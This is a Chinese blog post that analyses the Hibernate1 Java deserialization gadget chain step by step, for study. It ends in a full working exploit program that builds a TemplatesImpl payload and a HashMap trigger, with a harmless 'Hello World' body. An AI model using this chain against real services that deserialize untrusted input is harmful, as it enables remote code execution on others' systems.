hibernate1利用链分析

​ 最近做项目刚好遇到了反序列化漏洞,在项目中依赖了hibernate组件,借此机会分析下hibernate利用链。

漏洞分析

​ 首先看下最终反序列化漏洞的触发点,这个漏洞的触发点在org.hibernate.property.BasicPropertyAccessor.BasicGetter#get中,在这这个方法中使用了method.invoke反射调用。这里的method是从属性中获取的,因此是可控的,所以下来需要找到可以控制target参数的点。

image-20210731132141740

​ 在org.hibernate.tuple.component.AbstractComponentTuplizer#getPropertyValue中调用了get方法,其中getters属性为Getter接口类型的数组,他的实现类中包含了BasicGetter,所以只要这里的getters属性中传入的是BasicGetter对象,根据java的多态原则,实际上会调用到BasicGetter的get方法。

image-20210731151006436

image-20210731151055144

​ 由于org.hibernate.tuple.component.AbstractComponentTuplizer类是抽象类,不能通过newInstance获取对象,因此只能先获取其子类,通过子类的getPropertyValue方法调用get方法。比如org.hibernate.tuple.component.PojoComponentTuplizer类,子类实现中并没有重写两个参数的getPropertyValue方法,创建子类后传入两个参数调用getPropertyValue方法,会自动调用父类的getPropertyValue方法。

​ 在org.hibernate.type.ComponentType#getHashCode(java.lang.Object)中调用了getPropertyValue方法。

image-20210731162742814

image-20210731162751228

​ 最后在org.hibernate.engine.spi.TypedValue中的readObject中调用了initTransients,而initTransients中调用了getHashCode,所以整条链就串起来了。

image-20210731163100120

​ 但是仅仅这样还不够,我们要充分理解这条调用链,得先了解下面的几个问题。

漏洞疑问

如何给method属性赋值?

​ 在BasicGetter中,method的属性是transient修饰的,也就是说当我们通过writeObject去给method属性赋值时,是不会将method属性的内容写入到序列化数据中的。

image-20210802175802216

​ 先说结论吧,在BasicGetter中定义了readResolve方法,在反序列化的过程中会自动调用这个方法,先看下这个方法的定义。调用createGetter方法获取一个BasicSetter对象,之所以写在readResolve中,主要是为了让序列化和反序列化过程中,BasicGetter对象保持单例。

image-20210802192603173

​ 在编写程序时,有时候我们希望某个对象是单例模式,比如spring中的bean,并且这个对象是可以进行序列化和反序列化的,当我们正常去写单例模式,进行序列化和反序列化后,实际上得到的已经不是一个对象了,可以通过下面的栗子进行证明。

来自:单例、序列化和readResolve()方法

​ 首先写一个类,为了让这个类保持单例模式,只有通过getInstance方法才能获取到实例,不能通过构造方法创建实例。

1
2
3
4
5
6
7
8
9
10
import java.io.Serializable;

public class HungrySingleton implements Serializable {
private HungrySingleton() {
}
private static final HungrySingleton hungry = new HungrySingleton();
public static HungrySingleton getInstance() {
return hungry;
}
}

​ 下面写一个测试代码,测试序列化后的对象和序列化之前的对象是否相等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.*;

public class client {
public static void main(String[] args) {
HungrySingleton s1 = HungrySingleton.getInstance();
HungrySingleton s2 = null;
try {
// 将s1序列化到磁盘
FileOutputStream fos = new FileOutputStream("a.obj");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(s1);
oos.flush();
FileInputStream fis = new FileInputStream("a.obj");
ObjectInputStream ois = new ObjectInputStream(fis);
// 从磁盘反序列化
s2 = (HungrySingleton) ois.readObject();
System.out.println(s1==s2);
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}

​ 实际结果为false,可以证明反序列化后的对象和反序列化前的对象不是一个对象。

image-20210802194019766

​ 下面在HungrySingleton中加上readResolve方法,再次运行项目,可以看到反序列化后的对象和序列化的对象是一个对象。

1
2
3
private Object readResolve() {
return hungry;
}

image-20210803085606856

​ 上面我们证明了如果存在readResolve方法,在反序列化的过程中会自动调用readResolve(),放到hibernate利用链中来讲,可以通过readResolve方法给method属性赋值,大致的调用栈如下。

1
2
3
4
BasicPropertyAccessor.getSetterOrNull(Class, String)  (org.hibernate.property)
BasicPropertyAccessor.getSetterOrNull(Class, String)(2 usages) (org.hibernate.property)
BasicPropertyAccessor.createSetter(Class, String) (org.hibernate.property)
BasicSetter in BasicPropertyAccessor.readResolve() (org.hibernate.property)

​ 在getGetterOrNull方法中,通过getterMethod方法获取method对象,并通过BasicGetter的构造方法为该对象赋值。

image-20210803121506054

org.hibernate.property.BasicPropertyAccessor#getterMethod遍历theClass中的所有方法,查找以get或is开头的并且去掉get或is后和propertyName相同的method并返回。

image-20210803121709809

​ theClass是从哪里传入的,经过跟代码发现是从clazz属性中传入的而propertyName也是可以通过构造方法设置的,所以可以通过控制这两个属性来间接给method属性传值。

image-20210803122558877

为什么要使用TemplatesImpl来利用?

​ 看网上Hibernate1利用链的分析文章,最终是将结果导向了TemplatesImpl类来完成利用,但是实际经过我们的分析,其实只要是满足下面几点都是可以利用的。

  • 存在无参的public访问权限的getter或is方法
  • 通过getter或is方法可以间接执行代码或者执行命令

对于TemplatesImpl利用链之前并没有了解过,所以也借此机会分析下TemplatesImpl为什么可以完成利用。

​ 首先看下TemplatesImpl能被利用的根本原因,重写了defineClass可以从字节数组加载class对象,当然defineClass后并不会执行静态方法或者代码块,只有通过newInstance构造时,才会执行构造方法和静态代码块。

image-20210803130758635

​ 所以要想利用这个链,光靠defineClass是不够的,还要找到newinstance的点。于是找到了如下调用链。

1
2
3
TemplatesImpl.TransletClassLoader.defineClass()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.getTransletInstance()

image-20210803132953121

​ 而_class属性对应的Class对象是通过 _bytecodes属性的内容通过defineClass加载后得到的。并且 _name属性的内容不能为空,否则不会继续执行getTransletInstance方法。

image-20210803133152087

​ 所以下来我们要给 _name和 _bytecodes赋值,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#TemplatesImpl(byte[][], java.lang.String, java.util.Properties, int, com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl)可以做到这一点。

​ 通过这个构造方法,首先可以给_bytecodes属性赋值,其次在init方法中,会将transletName的值赋给 _name属性。

image-20210803134344646

image-20210803134443903

​ 在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses中会去判断defineClass加载的类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类,如果不是则会抛出异常不会执行newInstance操作,因此我们构造的类必须是AbstractTranslet的子类。

image-20210803153842077

​ 最后需要注意的是getTransletInstance方法是private修饰的,也就是说不能直接通过invoke调用,所以要找到一个public的getter方法串到getTransletInstance,查看调用链,找到了getOutputProperties方法,所以只要通过invoke调用getOutputProperties即可。

1
2
3
TemplatesImpl.getTransletInstance
TemplatesImpl.newTransformer
TemplatesImpl.getOutputProperties

image-20210803153357589

如何构造动态Class?

​ 根据上述的需求,我们需要动态构造一个Class并且在它的无参构造方法写上我们想要执行的代码,可以通过javasist来实现,代码如下:

1
2
3
4
5
6
7
8
9
10
        ClassPool pool = ClassPool.getDefault();
String clazzName = "test666";
CtClass targetClass = pool.makeClass(clazzName);
targetClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor cons = new CtConstructor(new CtClass[] {}, targetClass);
cons.setBody("{System.out.println(\"Hello World!!!\");}");
targetClass.addConstructor(cons);
byte[] byteArray = targetClass.toBytecode();
FileOutputStream output = new FileOutputStream("D:\\test666.class");
output.write(byteArray);

​ 生成的Class内容如下。

image-20210803154222691

如何构造TemplatesImpl对象并完成调用?

​ 上面我们已经动态构造好了需要执行的类并得到了该类的字节码,下面我们只要构造好TemplatesImpl对象并调用getOutputProperties即可完成利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ClassPool pool = ClassPool.getDefault();
String clazzName = "test666";
CtClass targetClass = pool.makeClass(clazzName);
targetClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor cons = new CtConstructor(new CtClass[] {}, targetClass);
cons.setBody("{System.out.println(\"Hello World!!!\");}");
targetClass.addConstructor(cons);
byte[] byteArray = targetClass.toBytecode();
byte[][] b= {byteArray};
Class<TemplatesImpl> clazz = (Class<TemplatesImpl>) Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<TemplatesImpl> con = clazz.getDeclaredConstructor(byte[][].class,String.class, Properties.class,int.class, TransformerFactoryImpl.class);
con.setAccessible(true);
Properties pro=new Properties();
int a=2;
TemplatesImpl impl= con.newInstance(b,"xxx",pro,a,TransformerFactoryImpl.class.newInstance());
Method method=clazz.getMethod("getOutputProperties");
method.invoke(impl);

image-20210803154552018

​ 通过上面的分析,我们已经完成了从invoke到任意代码执行的利用,接下来我们需要构造如何从readObject调用到invoke方法。

如何构造对象从readObject到invoke?

BasicGetter构造

​ 我们从invoke往上推,我们知道org.hibernate.property.BasicPropertyAccessor.BasicGetter#get中调用了invoke方法,再到上层调用getPropertyValue时,我们需要让this.getters中的内容为BasicGetter,并且component的内容为我们构造好的TemplatesImpl对象。

image-20210803160011764

​ 所以首先构造BasicGetter对象,由于BasicGetter只有private的构造方法,所以只能通过反射调用构造方法得到BasicGetter对象。另外根据之前的分析通过clazz和propertyName属性来动态构造的method属性,所以clazz属性要传入TemplatesImpl的Class,propertyName传入getOutputProperties。

image-20210803160435736

​ 所以得到了如下代码段。

1
2
3
4
Class<BasicPropertyAccessor.BasicGetter> clazz2 = (Class<BasicPropertyAccessor.BasicGetter>) Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<BasicPropertyAccessor.BasicGetter> con2 = clazz2.getDeclaredConstructor(Class.class,Method.class,String.class);
con2.setAccessible(true);
BasicPropertyAccessor.BasicGetter getter= con2.newInstance(clazz,method,"OutputProperties");

​ 可以直接通过调用get方法来排错。

image-20210803162001005

构造PojoComponentTuplizer对象

​ 得到BasicGetter对象后,要将BasicGetter的内容赋值到AbstractComponentTuplizer的getters属性中,在AbstractComponentTuplizer。

image-20210803162804724

​ AbstractComponentTuplizer是抽象类,不能创建对象,可以通过其子类来构建。

image-20210803163344843

​ 我们可以先创建一个PojoComponentTuplizer的实例,再通过反射修改getters字段的内容。但是使用这种方式我们需要构造一个Component对象,这个对象构造起来比较麻烦,参考ysoserial的实现,是通过reflectionFactory 在不调用构造方法的情况下创建对象。

1
2
3
Class<PojoComponentTuplizer> clazz3 = (Class<PojoComponentTuplizer>) Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz3, Object.class.getConstructor(new Class[0]));
PojoComponentTuplizer pojo= (PojoComponentTuplizer) sc.newInstance(new Object[0]);

​ 下面通过反射修改getters属性的内容

1
2
3
4
5
Class<AbstractComponentTuplizer> clazz4 = (Class<AbstractComponentTuplizer>) Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
Field getters=clazz4.getDeclaredField("getters");
getters.setAccessible(true);
BasicPropertyAccessor.BasicGetter[] gets={getter};
getters.set(pojo,gets);

​ 可以通过调用pojo.getPropertyValue(impl,0);测试是否设置成功。

image-20210803192512488

ComponentType构造

​ 继续看后面对象的构造,主要是利用了getHashCode方法。想要调用到PojoComponentTuplizer对象,需要让this.propertyTypes[i]的值为PojoComponentTuplizer对象,但是propertyTypes是一个Type类型的数组,而我们想要传的PojoComponentTuplizer并不是Type类型,所以不能通过this.propertyTypes[i]传递PojoComponentTuplizer对象。

image-20210803193257798

​ 在org.hibernate.type.ComponentType#getPropertyValue(java.lang.Object, int)中,存在如下调用,这里当component不为Object数组时,会调用this.componentTuplizer.getPropertyValue(component, i);,而componentTuplizer是ComponentTuplizer类型,PojoComponentTuplizer间接实现了该接口,所以是可以在这里传入PojoComponentTuplizer对象的。

image-20210803195829312

​ 另外i的内容由属性propertySpan控制,给这个属性赋值即可。

​ 接下来要先构造ComponentType对象,这个对象的构造方法同样需要多个参数,不是很好构造,所以也可以通过reflectionFactory来进行构造。

image-20210803193736390

1
2
3
Class<ComponentType> CompType = (Class<ComponentType>) Class.forName("org.hibernate.type.ComponentType");
Constructor<?> sc2 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(CompType, Object.class.getConstructor(new Class[0]));
ComponentType comp= (ComponentType) sc2.newInstance(new Object[0]);

​ 下面只要通过反射给相应的字段赋值即可。

1
2
3
4
5
6
Field compTuplizer=CompType.getDeclaredField("componentTuplizer");
compTuplizer.setAccessible(true);
compTuplizer.set(comp,pojo);
Field propSpan=CompType.getDeclaredField("propertySpan");
propSpan.setAccessible(true);
propSpan.set(comp,1);

​ 可以通过comp.getHashCode(impl);来测试是否成功。

image-20210803213216204

TypedValue构造

​ 在initTransients中调用了getHashCode方法,所以只要将type赋值为我们构造好的ComponentType对象,value赋值为templateImpl对象即可。

image-20210803213335853

​ 所以最后一步为TypedValue vaule=new TypedValue(comp,impl);

为什么不直接构造TypedValue进行反序列化?

​ 经过我们的分析其实在TypedValue中的readObject方法就已经可以将整条链穿起来了,但实际上ysoserial并没有这么做,参考网上其他师傅的分析文章,也没有讲原因。我自己先构造TypeValue进行测试,发现虽然确实可以到initTransients方法中,但是并不会执行匿名内部类中的方法。

image-20210803224610712

     请教了公司的大佬是因为直接调用initTransients方法时,其目的只是给this.hashcode做一个方法的声明,并不会调用内部类中的initialize方法,只有在hashcode初始化时,才会调用内部类的方法。所以要看哪里使用了this.hashcode。

image-20210804092537770

image-20210804092623949

​ 所以这就是不能直接构造TypedValue对象进行反序列化利用的原因。但我们要继续构造,需要构造一个ValueHolder对象,给value的属性值赋值为null,给this.valueInitializer赋值为我们构造好的typevalue。ValueHolder可以直接通过构造方法构造并给valueInitializer赋值。直接new即可ValueHolder hod= new ValueHolder(vaule);

​ 得到ValueHolder后,还需要将ValueHolder的内容赋给TypeValue的hashcode属性。所以要再构建一个TypeValue对象并给hashcode赋值。由于TypeValue不能直接通过构造方法给hashcode赋值,所以我们还是通过ReflectionFactory先得到TypeValue对象,再通过反射给hashcode属性赋值。

​ 但是实际调用会有一些问题,当我们直接通过new创建ValueHolder对象时,并不会调用上面的方法,因为参数需要的是实现了DeferedInitializer接口的类。

image-20210804095959564

​ 所以使用下面的方式可以创建一个ValueHolder对象,initTransients再反序列化时会被调用,因此不用我们手动去创建ValueHolder对象。

image-20210804100326653

​ 所以其实没有那么麻烦,直接调用TypeValue的hashcode就可以将利用链倒上去。

image-20210804100657981

​ 下面分析怎么调到hashCode方法。我们回想下urldns利用链,最终就导向了URL.hashCode(),调用链如下。

image-20210804100855535

​ 先看看java.util.HashMap#hash,想要调用成功,我们需要让key的值为TypedValue。

image-20210804101049350

​ 下面时给key赋值,通过put方法即可。

image-20210804101552787

​ 最后我们看下HashMap的readObject方法,实际上时调用hash方法触发漏洞的。所以只要给HashMap一个key即可。

image-20210804102729512

​ 但不能直接通过put方法给key赋值,因为put本身就会调用hash方法并执行代码。所以可以通过hashcode的内部类Node的构造方法给key赋值。

image-20210804105725280

1
2
3
4
Class clazz5 = Class.forName("java.util.HashMap$Node");
Constructor nodeCons = clazz.getDeclaredConstructor(int.class, Object.class, Object.class, clazz5);
nodeCons.setAccessible(true);
nodeCons.newInstance(2,value,value,2);

​ 下面我们要将构造好的Node对象赋值给HashMap的某个属性即可,好像只有table属性接收Node对象,但table是transient修饰的,也就是说默认不会进行序列化这个字段。

image-20210804111256075

​ 但在writeObject中调用的internalWriteEntries中会遍历table并将其中的key和value进行序列化。

image-20210804111354621

image-20210804111502423

​ 由于table需要的是Node的数组类型,因此还需要创建一个数组对Node进行封装。

1
2
3
4
5
Object tbl = Array.newInstance(clazz5,1);
Array.set(tbl, 0, nodeCons.newInstance(2,value,value,null));
Field key=map.getClass().getDeclaredField("table");
key.setAccessible(true);
key.set(map,tbl);

​ 但是这么做反序列化会有异常,因为我们没有给hashmap设置长度。所以还要给hashmap设置size属性。这个我就直接调用ysoserial自带的Reflections来进行设置了。Reflections.setFieldValue(map, "size", 1);.

image-20210804113152095

​ 总体的测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.aspectj.weaver.ast.Test;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.internal.util.ValueHolder;
import org.hibernate.mapping.Component;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;
import ysoserial.payloads.util.Reflections;

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Properties;



public class TempImplTest {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
String clazzName = "test666";
CtClass targetClass = pool.makeClass(clazzName);
targetClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor cons = new CtConstructor(new CtClass[] {}, targetClass);
cons.setBody("{System.out.println(\"Hello World!!!\");}");
targetClass.addConstructor(cons);
byte[] byteArray = targetClass.toBytecode();
byte[][] b= {byteArray};
Class<TemplatesImpl> clazz = (Class<TemplatesImpl>) Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<TemplatesImpl> con = clazz.getDeclaredConstructor(byte[][].class,String.class, Properties.class,int.class, TransformerFactoryImpl.class);
con.setAccessible(true);
Properties pro=new Properties();
Method method=clazz.getMethod("getOutputProperties");
int a=2;
TemplatesImpl impl= con.newInstance(b,"xxx",pro,a,TransformerFactoryImpl.class.newInstance());

Class<BasicPropertyAccessor.BasicGetter> clazz2 = (Class<BasicPropertyAccessor.BasicGetter>) Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<BasicPropertyAccessor.BasicGetter> con2 = clazz2.getDeclaredConstructor(Class.class,Method.class,String.class);
con2.setAccessible(true);
BasicPropertyAccessor.BasicGetter getter= con2.newInstance(clazz,method,"OutputProperties");

// getter.get(impl);

Class<PojoComponentTuplizer> clazz3 = (Class<PojoComponentTuplizer>) Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz3, Object.class.getConstructor(new Class[0]));
PojoComponentTuplizer pojo= (PojoComponentTuplizer) sc.newInstance(new Object[0]);
Class<AbstractComponentTuplizer> clazz4 = (Class<AbstractComponentTuplizer>) Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
Field getters=clazz4.getDeclaredField("getters");
getters.setAccessible(true);
BasicPropertyAccessor.BasicGetter[] gets={getter};
getters.set(pojo,gets);
// pojo.getPropertyValue(impl,0);
Class<ComponentType> CompType = (Class<ComponentType>) Class.forName("org.hibernate.type.ComponentType");
Constructor<?> sc2 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(CompType, Object.class.getConstructor(new Class[0]));
ComponentType comp= (ComponentType) sc2.newInstance(new Object[0]);
Field compTuplizer=CompType.getDeclaredField("componentTuplizer");
compTuplizer.setAccessible(true);
compTuplizer.set(comp,pojo);
Field propSpan=CompType.getDeclaredField("propertySpan");
propSpan.setAccessible(true);
propSpan.set(comp,1);
// comp.getHashCode(impl);
TypedValue value=new TypedValue(comp,impl);
// vaule.hashCode();
HashMap map = new HashMap();
Reflections.setFieldValue(map, "size", 1);
Class clazz5 = Class.forName("java.util.HashMap$Node");
Constructor nodeCons = clazz5.getDeclaredConstructor(int.class, Object.class, Object.class, clazz5);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(clazz5,1);
Array.set(tbl, 0, nodeCons.newInstance(2,value,value,null));
Field key=map.getClass().getDeclaredField("table");
key.setAccessible(true);
key.set(map,tbl);

FileOutputStream out=new FileOutputStream("d:\\test.ser");
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(map);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("d:\\test.ser"));
ois.readObject();
}
}

总结

​ 这个利用链是我第一次尝试去自己构造exp的链,从中也学到了很多东西,相信下次再分析其他利用链会更加容易理解吧。